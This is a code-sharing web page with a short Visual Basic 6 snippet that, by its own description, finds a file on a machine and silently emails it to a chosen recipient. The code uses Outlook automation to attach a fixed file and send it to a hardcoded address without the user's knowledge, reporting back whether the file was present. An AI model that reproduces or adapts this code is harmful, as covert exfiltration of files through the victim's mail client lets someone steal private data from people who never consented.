VBcoders Guest



Don't have an account yet? Register
 


Forgot Password?



This will allow you to search for a file or database on a machine and email it to whom ever you wis

by MAB (1 Submission)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Tue 26th February 2002
Date Added: Mon 8th February 2021
Rating: (1 Votes)

This will allow you to search for a file or database on a machine and email it to whom ever you wish. This happens behind the scenes so the

API Declarations


Dim oMessage As Outlook.MailItem
Dim mbFSO As New FileSystemObject

Const ForReading = 1
Const Create = False

Rate This will allow you to search for a file or database on a machine and email it to whom ever you wis




Set myOL = New Outlook.Application
Set oMessage = myOL.CreateItem(olMailItem)
Set mbFSO = CreateObject("Scripting.FileSystemObject")

strFileName = ("c:\temp\temp.txt")

   If mbFSO.FileExists(strFileName) Then
      
        oMessage.Subject = "File Present"
        oMessage.To = "[email protected]"
        oMessage.Body = "The file is on the users pc. . ."
        oMessage.Attachments.Add (strFileName)
        oMessage.Send
        
        oMessage.Subject = "File is not Present"
        
    Else
        oMessage.To = "[email protected]"
        oMessage.Body = "The file is not on the users pc. . ."
        oMessage.Send
    End If
        
        
     
Set oMessage = Nothing
Set myOL = Nothing
Set mbFSO = Nothing

End Sub

Download this snippet    Add to My Saved Code

This will allow you to search for a file or database on a machine and email it to whom ever you wis Comments

No comments have been posted about This will allow you to search for a file or database on a machine and email it to whom ever you wis. Why not be the first to post a comment about This will allow you to search for a file or database on a machine and email it to whom ever you wis.

Post your comment

Subject:
Message:
0/1000 characters